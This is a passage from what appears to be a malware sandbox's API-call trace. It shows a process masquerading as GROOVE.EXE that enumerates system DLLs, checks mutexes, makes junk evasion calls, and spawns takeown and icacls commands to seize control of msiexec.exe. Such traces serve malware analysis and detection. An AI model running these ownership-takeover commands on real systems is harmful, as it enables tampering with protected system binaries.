lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.348] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.348] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.348] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.349] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x9dc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0206.349] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.349] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x9dc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.349] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.349] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0206.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x9dc288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0206.349] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0206.352] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x1affa90 | out: BaseAddress=0x1affa90*=0x75cf0000) returned 0x0 [0206.356] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.356] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.356] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de840) returned 1 [0206.356] FindClose (in: hFindFile=0x7cfed0 | out: hFindFile=0x7cfed0) returned 1 [0206.356] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de268) returned 1 [0206.356] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x184) returned 0x8b7cf8 [0206.356] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.356] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.356] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc240 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc900 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc948 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc990 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc9d8 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dca20 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dca68 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dcab0 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dcaf8 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dcb40 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dcb88 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dcbd0 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b7ea0 [0206.357] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", pNumArgs=0x1affabc | out: pNumArgs=0x1affabc) returned 0x7bf400*="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x10) returned 0x9dd5e8 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x8) returned 0x9dd288 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de268 [0206.357] LocalFree (hMem=0x7bf400) returned 0x0 [0206.357] Wow64DisableWow64FsRedirection (in: OldValue=0x1affab8 | out: OldValue=0x1affab8*=0x0) returned 1 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x800) returned 0x8b8e88 [0206.357] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8b8e88, nSize=0x200 | out: lpFilename="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe")) returned 0x35 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de840 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.357] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de840) returned 1 [0206.357] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.357] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x100) returned 0x8b9690 [0206.357] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x8b9690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0206.357] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b9690) returned 1 [0206.358] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b7ee8 [0206.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x8b7ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b7f30 [0206.358] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b7ee8) returned 1 [0206.358] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b7ee8 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b7f78 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b7fc0 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8008 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8050 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8098 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x5000) returned 0x8b2850 [0206.358] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b80e0 [0206.358] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b80e0) returned 1 [0206.358] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0206.359] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b2850) returned 1 [0206.359] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7c8688, lpbSaclPresent=0x1aff8ec, pSacl=0x1aff940, lpbSaclDefaulted=0x1aff8ec | out: lpbSaclPresent=0x1aff8ec, pSacl=0x1aff940, lpbSaclDefaulted=0x1aff8ec) returned 1 [0206.359] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b80e0 [0206.359] CreateEventA (lpEventAttributes=0x1aff934, bManualReset=1, bInitialState=0, lpName="") returned 0x10c [0206.359] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b80e0) returned 1 [0206.359] GetLastError () returned 0x0 [0206.359] LocalFree (hMem=0x7c8688) returned 0x0 [0206.359] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b80e0 [0206.359] CryptAcquireContextW (in: phProv=0x1aff924, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1aff924*=0x7e88f0) returned 1 [0206.360] CryptCreateHash (in: hProv=0x7e88f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1aff924 | out: phHash=0x1aff924) returned 1 [0206.360] CryptHashData (hHash=0x7cfed0, pbData=0x8b7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0206.360] CryptGetHashParam (in: hHash=0x7cfed0, dwParam=0x4, pbData=0x1aff928, pdwDataLen=0x1aff934, dwFlags=0x0 | out: pbData=0x1aff928, pdwDataLen=0x1aff934) returned 1 [0206.360] CryptGetHashParam (in: hHash=0x7cfed0, dwParam=0x2, pbData=0x8b80e0, pdwDataLen=0x1aff928, dwFlags=0x0 | out: pbData=0x8b80e0, pdwDataLen=0x1aff928) returned 1 [0206.360] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8128 [0206.360] CryptDestroyHash (hHash=0x7cfed0) returned 1 [0206.360] CryptReleaseContext (hProv=0x7e88f0, dwFlags=0x0) returned 1 [0206.360] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b80e0) returned 1 [0206.360] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b80e0 [0206.360] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8170 [0206.360] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b80e0) returned 1 [0206.360] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b80e0 [0206.360] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b80e0) returned 1 [0206.360] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b8170) returned 1 [0206.360] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b8128) returned 1 [0206.360] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8128 [0206.360] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x124 [0206.361] GetLastError () returned 0x0 [0206.361] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8170 [0206.361] CryptAcquireContextW (in: phProv=0x1aff924, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1aff924*=0x7e88f0) returned 1 [0206.361] CryptCreateHash (in: hProv=0x7e88f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1aff924 | out: phHash=0x1aff924) returned 1 [0206.361] CryptHashData (hHash=0x7cfed0, pbData=0x8b7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0206.361] CryptGetHashParam (in: hHash=0x7cfed0, dwParam=0x4, pbData=0x1aff928, pdwDataLen=0x1aff934, dwFlags=0x0 | out: pbData=0x1aff928, pdwDataLen=0x1aff934) returned 1 [0206.362] CryptGetHashParam (in: hHash=0x7cfed0, dwParam=0x2, pbData=0x8b8170, pdwDataLen=0x1aff928, dwFlags=0x0 | out: pbData=0x8b8170, pdwDataLen=0x1aff928) returned 1 [0206.362] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b80e0 [0206.362] CryptDestroyHash (hHash=0x7cfed0) returned 1 [0206.362] CryptReleaseContext (hProv=0x7e88f0, dwFlags=0x0) returned 1 [0206.362] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b8170) returned 1 [0206.362] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8170 [0206.362] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b81b8 [0206.362] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b8170) returned 1 [0206.362] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b8170 [0206.362] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b8170) returned 1 [0206.362] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b81b8) returned 1 [0206.362] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b80e0) returned 1 [0206.362] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b80e0 [0206.362] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b81b8 [0206.362] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0206.362] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b81b8) returned 1 [0206.362] GetLastError () returned 0x5 [0206.362] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b81b8 [0206.362] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0206.362] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b81b8) returned 1 [0206.362] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x8b81b8 [0206.362] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x128 [0206.362] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b81b8) returned 1 [0206.362] SetEvent (hEvent=0x124) returned 1 [0206.362] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 1054 os_tid = 0x944 Process: id = "85" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x78fbd000" os_pid = "0x59c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\msiexec.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 862 os_tid = 0x7ac Thread: id = 863 os_tid = 0x55c Process: id = "86" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x7b5c2000" os_pid = "0x104" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\msiexec.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 864 os_tid = 0x4fc Process: id = "87" image_name = "msiexec.exe" filename = "c:\\windows\\system32\\msiexec.exe" page_root = "0x201d1000" os_pid = "0x280" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\msiexec.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:00032aa9" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 865 os_tid = 0x29c [0208.817] GetTimeZoneInformation (in: lpTimeZoneInformation=0x21f6a0 | out: lpTimeZoneInformation=0x21f6a0) returned 0x2 [0208.819] GetCurrentProcess () returned 0xffffffff [0208.819] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x21f68c | out: lpExitCode=0x21f68c*=0x103) returned 1 [0208.819] GetForegroundWindow () returned 0x0 [0208.820] GetCaretBlinkTime () returned 0x1f4 [0208.820] GetFileType (hFile=0xf710cd) returned 0x0 [0208.820] GetConsoleProcessList (in: lpdwProcessList=0x21f74c, dwProcessCount=0x1 | out: lpdwProcessList=0x21f74c) returned 0x0 [0208.820] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x21f658 | out: pcyOut=0x21f658) returned 0x0 [0208.821] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0208.821] GetCommState (in: hFile=0x3b268c, lpDCB=0x21f4c0 | out: lpDCB=0x21f4c0) returned 0 [0208.821] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x21f4bc, pmr=0x21f4a8, cht=0x353) returned 0 [0208.821] CloseClipboard () returned 0 [0208.821] CoUninitialize () [0208.821] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0208.821] ReleaseMutex (hMutex=0xa0) returned 0 [0208.821] CloseHandle (hObject=0xa0) returned 1 [0208.821] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0208.821] GetCommState (in: hFile=0x3b268c, 